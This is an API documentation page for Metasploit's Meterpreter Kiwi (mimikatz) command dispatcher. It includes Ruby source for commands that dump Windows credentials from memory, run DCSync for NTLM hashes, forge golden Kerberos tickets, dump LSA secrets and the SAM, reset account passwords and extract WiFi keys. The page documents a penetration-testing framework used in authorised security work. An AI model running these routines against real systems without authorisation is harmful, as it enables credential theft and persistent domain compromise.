Class: Rex::Post::Meterpreter::Ui::Console::CommandDispatcher::Kiwi

Inherits:
Object
  • Object
show all
Includes:
Rex::Post::Meterpreter::Ui::Console::CommandDispatcher
Defined in:
lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb

Overview

Kiwi extension - grabs credentials from windows memory (newer OSes).

Benjamin DELPY `gentilkiwi` blog.gentilkiwi.com/mimikatz

extension converted by OJ Reeves (TheColonial)

Constant Summary collapse

Klass =
Console::CommandDispatcher::Kiwi
@@password_change_usage_opts =

Valid options for the password change feature

Rex::Parser::Arguments.new(
  '-h' => [false, 'Help banner'],
  '-u' => [true,  'User name of the password to change.'],
  '-s' => [true,  'Server to perform the action on (eg. Domain Controller).'],
  '-p' => [true,  'The known existing/old password (do not use with -n).'],
  '-n' => [true,  'The known existing/old hash (do not use with -p).'],
  '-P' => [true,  'The new password to set for the account (do not use with -N).'],
  '-N' => [true,  'The new hash to set for the account (do not use with -P).']
)
@@golden_ticket_create_opts =

Valid options for the golden ticket creation functionality.

Rex::Parser::Arguments.new(
  '-h' => [ false, 'Help banner' ],
  '-u' => [ true,  'Name of the user to create the ticket for (required)' ],
  '-i' => [ true,  'ID of the user to associate the ticket with' ],
  '-g' => [ true,  'Comma-separated list of group identifiers to include (eg: 501,502)' ],
  '-d' => [ true,  'FQDN of the target domain (required)' ],
  '-k' => [ true,  'krbtgt domain user NTLM hash' ],
  '-t' => [ true,  'Local path of the file to store the ticket in (required)' ],
  '-s' => [ true,  'SID of the domain' ],
  '-e' => [ true,  'End in ... Duration in hours (ex: -e 10 for 10 hours), default 10 YEARS']
)
@@kerberos_ticket_list_opts =

Valid options for the ticket listing functionality.

Rex::Parser::Arguments.new(
  '-h' => [ false, 'Help banner' ],
)
@@creds_opts =
Rex::Parser::Arguments.new(
  '-o' => [ true,  'Write the output to the specified file.' ],
  '-h' => [ false, 'Help menu.' ]
)

Instance Attribute Summary

Attributes included from Ui::Text::DispatcherShell::CommandDispatcher

#shell, #tab_complete_items

Instance Method Summary collapse

Methods included from Rex::Post::Meterpreter::Ui::Console::CommandDispatcher

check_hash, #client, #docs_dir, #filter_commands, #log_error, #msf_loaded?, #session, set_hash, #unknown_command

Methods included from Msf::Ui::Console::CommandDispatcher::Session

#cmd_background, #cmd_background_help, #cmd_exit, #cmd_irb, #cmd_irb_help, #cmd_irb_tabs, #cmd_pry, #cmd_pry_help, #cmd_resource, #cmd_resource_help, #cmd_resource_tabs, #cmd_sessions, #cmd_sessions_help

Methods included from Ui::Text::DispatcherShell::CommandDispatcher

#cmd_help, #cmd_help_help, #cmd_help_tabs, #deprecated_cmd, #deprecated_commands, #deprecated_help, #docs_dir, #help_to_s, included, #print, #print_error, #print_good, #print_line, #print_status, #print_warning, #tab_complete_directory, #tab_complete_filenames, #tab_complete_generic, #tab_complete_source_address, #unknown_command, #update_prompt

Constructor Details

#initialize(shell) ⇒ Kiwi

Initializes an instance of the priv command interaction. This function also outputs a banner which gives proper acknowledgement to the original author of the Mimikatz software.



37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb', line 37

def initialize(shell)
  super
  print_line
  print_line("  .#####.   mimikatz 2.2.0 20191125 (#{client.session_type})")
  print_line(" .## ^ ##.  \"A La Vie, A L'Amour\" - (oe.eo)")
  print_line(" ## / \\ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )")
  print_line(" ## \\ / ##       > http://blog.gentilkiwi.com/mimikatz")
  print_line(" '## v ##'        Vincent LE TOUX            ( vincent.letoux@gmail.com )")
  print_line("  '#####'         > http://pingcastle.com / http://mysmartlogon.com  ***/")
  print_line

  si = client.sys.config.sysinfo
  if client.arch == ARCH_X86 && si['Architecture'] == ARCH_X64
    print_warning('Loaded x86 Kiwi on an x64 architecture.')
    print_line
  end
end

Instance Method Details

#check_is_domain_user(msg = 'Running as SYSTEM; function will only work if this computer account has replication privileges (e.g. Domain Controller)') ⇒ Object (protected)



544
545
546
547
548
549
550
551
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb', line 544

def check_is_domain_user(msg='Running as SYSTEM; function will only work if this computer account has replication privileges (e.g. Domain Controller)')
  if client.sys.config.is_system?
    print_warning(msg)
    return false
  end

  true
end

#check_is_systemObject (protected)



553
554
555
556
557
558
559
560
561
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb', line 553

def check_is_system
  if client.sys.config.is_system?
    print_good('Running as SYSTEM')
    return true
  end

  print_warning('Not running as SYSTEM, execution may fail')
  false
end

#cmd_creds_all(*args) ⇒ Object

Dump all the possible credentials to screen.



465
466
467
468
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb', line 465

def cmd_creds_all(*args)
  method = Proc.new { client.kiwi.creds_all }
  scrape_passwords('all', method, args)
end

#cmd_creds_kerberos(*args) ⇒ Object

Dump all Kerberos credentials to screen.



513
514
515
516
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb', line 513

def cmd_creds_kerberos(*args)
  method = Proc.new { client.kiwi.creds_kerberos }
  scrape_passwords('kerberos', method, args)
end

#cmd_creds_livessp(*args) ⇒ Object

Dump all LiveSSP credentials to screen.



497
498
499
500
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb', line 497

def cmd_creds_livessp(*args)
  method = Proc.new { client.kiwi.creds_livessp }
  scrape_passwords('livessp', method, args)
end

#cmd_creds_msv(*args) ⇒ Object

Dump all msv credentials to screen.



481
482
483
484
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb', line 481

def cmd_creds_msv(*args)
  method = Proc.new { client.kiwi.creds_msv }
  scrape_passwords('msv', method, args)
end

#cmd_creds_ssp(*args) ⇒ Object

Dump all SSP credentials to screen.



489
490
491
492
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb', line 489

def cmd_creds_ssp(*args)
  method = Proc.new { client.kiwi.creds_ssp }
  scrape_passwords('ssp', method, args)
end

#cmd_creds_tspkg(*args) ⇒ Object

Dump all TSPKG credentials to screen.



505
506
507
508
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb', line 505

def cmd_creds_tspkg(*args)
  method = Proc.new { client.kiwi.creds_tspkg }
  scrape_passwords('tspkg', method, args)
end

#cmd_creds_usage(provider) ⇒ Object

Displays information about the various creds commands



455
456
457
458
459
460
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb', line 455

def cmd_creds_usage(provider)
  print_line("Usage: creds_#{provider} [options]")
  print_line
  print_line("Dump #{provider} credentials.")
  print_line(@@creds_opts.usage)
end

#cmd_creds_wdigest(*args) ⇒ Object

Dump all wdigest credentials to screen.



473
474
475
476
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb', line 473

def cmd_creds_wdigest(*args)
  method = Proc.new { client.kiwi.creds_wdigest }
  scrape_passwords('wdigest', method, args)
end

#cmd_dcsync(*args) ⇒ Object



176
177
178
179
180
181
182
183
184
185
186
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb', line 176

def cmd_dcsync(*args)
  check_is_domain_user

  if args.length != 1
    print_line('Usage: dcsync <DOMAIN\user>')
    print_line
    return
  end

  print_line(client.kiwi.dcsync(args[0]))
end

#cmd_dcsync_ntlm(*args) ⇒ Object



188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb', line 188

def cmd_dcsync_ntlm(*args)
  check_is_domain_user

  if args.length != 1
    print_line('Usage: dcsync_ntlm <DOMAIN\user>')
    print_line
    return
  end

  user = args[0]
  result = client.kiwi.dcsync_ntlm(user)
  if result
    print_good("Account   : #{user}")
    print_good("NTLM Hash : #{result[:ntlm]}")
    print_good("LM Hash   : #{result[:lm]}")
    print_good("SID       : #{result[:sid]}")
    print_good("RID       : #{result[:rid]}")
  else
    print_error("Failed to retrieve information for #{user}")
  end
  print_line
end

#cmd_golden_ticket_create(*args) ⇒ Object

Invoke the golden kerberos ticket creation functionality on the target.



261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb', line 261

def cmd_golden_ticket_create(*args)

  if args.include?("-h")
    golden_ticket_create_usage
    return
  end

  target_file = nil
  opts = {
    user: nil,
    domain_name: nil,
    domain_sid: nil,
    krbtgt_hash: nil,
    user_id: nil,
    group_ids: nil,
    end_in: 87608
  }

  @@golden_ticket_create_opts.parse(args) { |opt, idx, val|
    case opt
    when '-u'
      opts[:user] = val
    when '-d'
      opts[:domain_name] = val
    when '-k'
      opts[:krbtgt_hash] = val
    when '-t'
      target_file = val
    when '-i'
      opts[:user_id] = val.to_i
    when '-g'
      opts[:group_ids] = val
    when '-s'
      opts[:domain_sid] = val
    when '-e'
      opts[:end_in] = val.to_i
    end
  }

  # we need the user and domain at the very least
  unless opts[:user] && opts[:domain_name] && target_file
    golden_ticket_create_usage
    return
  end

  # is anything else missing?
  unless opts[:domain_sid] && opts[:krbtgt_hash]
    return unless check_is_domain_user('Unable to run module as SYSTEM unless krbtgt and domain sid are provided')

    # let's go discover it
    krbtgt_username = opts[:user].split('\\')[0] + '\\krbtgt'
    dcsync_result = client.kiwi.dcsync_ntlm(krbtgt_username)
    unless opts[:krbtgt_hash]
      opts[:krbtgt_hash] = dcsync_result[:ntlm]
      print_warning("NTLM hash for krbtgt missing, using #{opts[:krbtgt_hash]} extracted from #{krbtgt_username}")
    end

    unless opts[:domain_sid]
      domain_sid = dcsync_result[:sid].split('-')
      opts[:domain_sid] = domain_sid[0, domain_sid.length - 1].join('-')
      print_warning("Domain SID missing, using #{opts[:domain_sid]} extracted from SID of #{krbtgt_username}")
    end
  end

  ticket = client.kiwi.golden_ticket_create(opts)

  ::File.open(target_file, 'wb') do |f|
    f.write(ticket)
  end

  print_good("Golden Kerberos ticket written to #{target_file}")
end

#cmd_kerberos_ticket_list(*args) ⇒ Object

Invoke the kerberos ticket listing functionality on the target machine.



354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb', line 354

def cmd_kerberos_ticket_list(*args)
  if args.include?('-h')
    kerberos_ticket_list_usage
    return
  end

  output = client.kiwi.kerberos_ticket_list.strip
  if output == ''
    print_error('No kerberos tickets exist in the current session.')
  else
    print_good('Kerberos tickets found in the current session.')
    print_line(output)
  end
  print_line
end

#cmd_kerberos_ticket_purge(*args) ⇒ Object

Invoke the kerberos ticket purging functionality on the target machine.



373
374
375
376
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb', line 373

def cmd_kerberos_ticket_purge(*args)
  client.kiwi.kerberos_ticket_purge
  print_good('Kerberos tickets purged')
end

#cmd_kerberos_ticket_use(*args) ⇒ Object

Use a locally stored Kerberos ticket in the current session.



381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb', line 381

def cmd_kerberos_ticket_use(*args)
  if args.length != 1
    print_line('Usage: kerberos_ticket_use ticketpath')
    return
  end

  target = args[0]
  ticket  = ''
  ::File.open(target, 'rb') do |f|
    ticket += f.read(f.stat.size)
  end

  print_status("Using Kerberos ticket stored in #{target}, #{ticket.length} bytes ...")
  if client.kiwi.kerberos_ticket_use(ticket)
    print_good('Kerberos ticket applied successfully.')
  else
    print_error('Kerberos ticket application failed.')
  end
end

#cmd_kiwi_cmd(*args) ⇒ Object



82
83
84
85
86
87
88
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb', line 82

def cmd_kiwi_cmd(*args)
  # Kiwi expects instructions with arguments to be quoted so quote everything to be sure
  # "You can pass instructions on mimikatz command line, those with arguments/spaces must be quoted."
  # Quote from: https://github.com/gentilkiwi/mimikatz/wiki
  output = client.kiwi.exec_cmd(args.map { |s| '"' + s + '"'}.join(' '))
  print_line(output)
end

#cmd_lsa_dump_sam(*args) ⇒ Object

Invoke the LSA SAM dump on thet target.



225
226
227
228
229
230
231
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb', line 225

def cmd_lsa_dump_sam(*args)
  return unless check_is_system

  print_status('Dumping SAM')
  print_line(client.kiwi.lsa_dump_sam)
  print_line
end

#cmd_lsa_dump_secrets(*args) ⇒ Object

Invoke the LSA secret dump on thet target.



214
215
216
217
218
219
220
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb', line 214

def cmd_lsa_dump_secrets(*args)
  return unless check_is_system

  print_status('Dumping LSA secrets')
  print_line(client.kiwi.lsa_dump_secrets)
  print_line
end

#cmd_password_change(*args) ⇒ Object



109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb', line 109

def cmd_password_change(*args)
  if args.length == 0 || args.include?('-h')
    cmd_password_change_usage
    return
  end

  opts = {}

  @@password_change_usage_opts.parse(args) { |opt, idx, val|
    case opt
    when '-u'
      opts[:user] = val
    when '-s'
      opts[:server] = val
    when '-p'
      opts[:old_pass] = val
    when '-n'
      opts[:old_hash] = val
    when '-P'
      opts[:new_pass] = val
    when '-N'
      opts[:new_hash] = val
    end
  }

  valid = true
  if opts[:old_pass] && opts[:old_hash]
    print_error('Options -p and -n cannot be used together.')
    valid = false
  end

  if opts[:new_pass] && opts[:new_hash]
    print_error('Options -P and -N cannot be used together.')
    valid = false
  end

  unless opts[:old_pass] || opts[:old_hash]
    print_error('At least one of -p and -n must be specified.')
    valid = false
  end

  unless opts[:new_pass] || opts[:new_hash]
    print_error('At least one of -P and -N must be specified.')
    valid = false
  end

  unless opts[:user]
    print_error('The -u parameter must be specified.')
    valid = false
  end

  if valid

    unless opts[:server]
      print_status('No server (-s) specified, defaulting to localhost.')
    end

    result = client.kiwi.password_change(opts)

    if result[:success] == true
      print_good("Success! New NTLM hash: #{result[:new]}")
    else
      print_error("Failed! #{result[:error]}")
    end
  end
end

#cmd_password_change_usageObject



103
104
105
106
107
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb', line 103

def cmd_password_change_usage
  print_line('Usage password_change [options]')
  print_line
  print_line(@@password_change_usage_opts.usage)
end

#cmd_wifi_list(*args) ⇒ Object

Dump all the wifi profiles/credentials for the current user



435
436
437
438
439
440
441
442
443
444
445
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb', line 435

def cmd_wifi_list(*args)
  results = client.kiwi.wifi_list
  if results.length > 0
    display_wifi_profiles(results)
  else
    print_line
    print_error('No wireless profiles found on the target.')
  end

  true
end

#cmd_wifi_list_shared(*args) ⇒ Object

Dump all the shared wifi profiles/credentials



404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb', line 404

def cmd_wifi_list_shared(*args)
  interfaces_dir = client.sys.config.getenv('AllUsersProfile') + '\Microsoft\Wlansvc\Profiles\Interfaces'
  files = client.fs.file.search(interfaces_dir, '*.xml', true)

  if files.length == 0
    print_error('No shared WiFi profiles found.')
  else
    interfaces = {}
    files.each do |f|
      interface_guid = f['path'].split("\\")[-1]
      full_path = "#{f['path']}\\#{f['name']}"

      interfaces[interface_guid] ||= []
      interfaces[interface_guid] << full_path
    end
    results = client.kiwi.wifi_parse_shared(interfaces)

    if results.length > 0
      display_wifi_profiles(results)
    else
      print_line
      print_error('No shared wireless profiles found on the target.')
    end
  end

  true
end

#commandsObject

List of supported commands.



58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb', line 58

def commands
  {
    'kiwi_cmd'              => 'Execute an arbitrary mimikatz command (unparsed)',
    'dcsync'                => 'Retrieve user account information via DCSync (unparsed)',
    'dcsync_ntlm'           => 'Retrieve user account NTLM hash, SID and RID via DCSync',
    'creds_wdigest'         => 'Retrieve WDigest creds (parsed)',
    'creds_msv'             => 'Retrieve LM/NTLM creds (parsed)',
    'creds_ssp'             => 'Retrieve SSP creds',
    'creds_livessp'         => 'Retrieve Live SSP creds',
    'creds_tspkg'           => 'Retrieve TsPkg creds (parsed)',
    'creds_kerberos'        => 'Retrieve Kerberos creds (parsed)',
    'creds_all'             => 'Retrieve all credentials (parsed)',
    'golden_ticket_create'  => 'Create a golden kerberos ticket',
    'kerberos_ticket_use'   => 'Use a kerberos ticket',
    'kerberos_ticket_purge' => 'Purge any in-use kerberos tickets',
    'kerberos_ticket_list'  => 'List all kerberos tickets (unparsed)',
    'lsa_dump_secrets'      => 'Dump LSA secrets (unparsed)',
    'lsa_dump_sam'          => 'Dump LSA SAM (unparsed)',
    'password_change'       => 'Change the password/hash of a user',
    'wifi_list'             => 'List wifi profiles/creds for the current user',
    'wifi_list_shared'      => 'List shared wifi profiles/creds (requires SYSTEM)',
  }
end

#create_cred(credential_data, domain = '') ⇒ Object (protected)



668
669
670
671
672
673
674
675
676
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb', line 668

def create_cred(credential_data, domain = '')
  unless domain.blank?
    credential_data[:realm_key] = Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN
    credential_data[:realm_value] = domain
  end
  credential_core = shell.framework.db.create_credential(credential_data)

  credential_core
end

#display_wifi_profiles(profiles) ⇒ Object (protected)



520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb', line 520

def display_wifi_profiles(profiles)
  profiles.each do |r|
    header = r[:guid]
    header = "#{r[:desc]} - #{header}" if r[:desc]
    table = Rex::Text::Table.new(
      'Header'    => header,
      'Indent'    => 0,
      'SortIndex' => 0,
      'Columns'   => [
        'Name', 'Auth', 'Type', 'Shared Key'
      ]
    )

    print_line
    r[:profiles].each do |p|
      table << [p[:name], p[:auth], p[:key_type] || 'Unknown', p[:shared_key]]
    end

    print_line(table.to_s)
    print_line("State: #{r[:state] || 'Unknown'}")
  end
end

#golden_ticket_create_usageObject

Output the usage for the ticket listing functionality.



251
252
253
254
255
256
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb', line 251

def golden_ticket_create_usage
  print_line('Usage: golden_ticket_create [options]')
  print_line
  print_line('Create a golden kerberos ticket that expires in 10 years time.')
  print_line(@@golden_ticket_create_opts.usage)
end

#kerberos_ticket_list_usageObject

Output the usage for the ticket listing functionality.



344
345
346
347
348
349
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb', line 344

def kerberos_ticket_list_usage
  print_line('Usage: kerberos_ticket_list [options]')
  print_line
  print_line('List all the available Kerberos tickets.')
  print_line(@@kerberos_ticket_list_opts.usage)
end

#nameObject

Name for this dispatcher



28
29
30
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb', line 28

def name
  'Kiwi'
end

#report_creds(type, user, domain, secret) ⇒ Object (protected)



678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb', line 678

def report_creds(type, user, domain, secret)
  if client&.db_record&.id.nil?
    wlog('The session is not stored correctly in the database. Something went wrong.')
    return
  end

  credential_data = {
      origin_type: :session,
      post_reference_name: 'kiwi',
      private_data: nil,
      private_type: nil,
      session_id: client.db_record.id,
      username: user,
      workspace_id: shell.framework.db.workspace.id
  }

  return if (user.empty? || secret.eql?('(null)'))

  case type
  when :msv
    ntlm_hash = secret.strip.downcase
    if ntlm_hash != Metasploit::Credential::NTLMHash::BLANK_NT_HASH
      ntlm_hash = "#{Metasploit::Credential::NTLMHash::BLANK_LM_HASH}:#{ntlm_hash}"
      # Assemble data about the credential objects we will be creating
      credential_data[:private_type] = :ntlm_hash
      credential_data[:private_data] = ntlm_hash
      credential_core = create_cred(credential_data, domain)
      report_smb_cred(credential_core)
    end
  when :wdigest, :kerberos, :tspkg, :livessp, :ssp
    # Assemble data about the credential objects we will be creating
    credential_data[:private_type] = :password
    credential_data[:private_data] = secret

    credential_core = create_cred(credential_data, domain)
    report_smb_cred(credential_core)
  end
end

#report_smb_cred(credential_core) ⇒ Object (protected)



653
654
655
656
657
658
659
660
661
662
663
664
665
666
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb', line 653

def report_smb_cred(credential_core)
  # Assemble the options hash for creating the Metasploit::Credential::Login object
   = {
    core: credential_core,
    status: Metasploit::Model::Login::Status::UNTRIED,
    address: client.sock.peerhost,
    port: 445,
    service_name: 'smb',
    protocol: 'tcp',
    workspace_id: shell.framework.db.workspace.id
  }

  shell.framework.db.()
end

#scrape_passwords(provider, method, args) ⇒ void (protected)

This method returns an undefined value.

Invoke the password scraping routine on the target.

Parameters:

  • provider (String)

    The name of the type of credentials to dump (used for display purposes only).

  • method (Proc)

    Block that calls the method that invokes the appropriate function on the client that returns the results from Meterpreter that lay in the house that Jack built.



573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb', line 573

def scrape_passwords(provider, method, args)
  if args.include?('-h')
    cmd_creds_usage(provider)
    return
  end

  return unless check_is_system
  print_status("Retrieving #{provider} credentials")
  accounts = method.call
  output = ""

  accounts.keys.each do |k|
    next if accounts[k].length == 0

    # Keep track of the columns that we were given, in
    # the order we are given them, while removing duplicates
    columns = []
    existing = Set.new
    accounts[k].each do |acct|
      acct.keys.each do |k|
        unless existing.include?(k)
          columns << k
          existing.add(k)
        end
      end
    end

    table = Rex::Text::Table.new(
      'Header'    => "#{k} credentials",
      'Indent'    => 0,
      'SortIndex' => 0,
      'Columns'   => columns
    )

    accounts[k].each do |acct|
      values = []
      # Iterate through the given columns and match the values up
      # correctly based on the index of the column header.
      columns.each do |c|
        col_idx = acct.keys.index(c)
        # If the column exists, we'll use the value that is associated
        # with the column based on its index
        if col_idx
          values << acct.values[col_idx]
        else
          # Otherwise, just add a blank value
          values << ''
        end
      end
      if !shell.framework.nil? && shell.framework.db.active
        user, domain, secret = values
        report_creds(k, user, domain, secret)
      end
      table << values
    end

    output << table.to_s + "\n"
  end

  print_line(output)

  # determine if a target file path was passed in
  file_index = args.index('-o')
  unless file_index.nil?
    if args.length > file_index + 1
      # try to write the file to disk
      begin
        ::File.write(args[file_index + 1], output)
        print_good("Output written to #{args[file_index + 1]}")
      rescue
        print_error("Unable to write to #{args[file_index + 1]}")
      end
    else
      print_error('Missing file path for -o parameter')
    end
  end

  return true
end

#to_hex(value, sep = '') ⇒ String (protected)

Helper function to convert a potentially blank value to hex and have the outer spaces stripped

Returns:

  • (String)

    The result of Text.to_hex, strip'd



723
724
725
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb', line 723

def to_hex(value, sep = '')
  Rex::Text.to_hex(value || '', sep).strip
end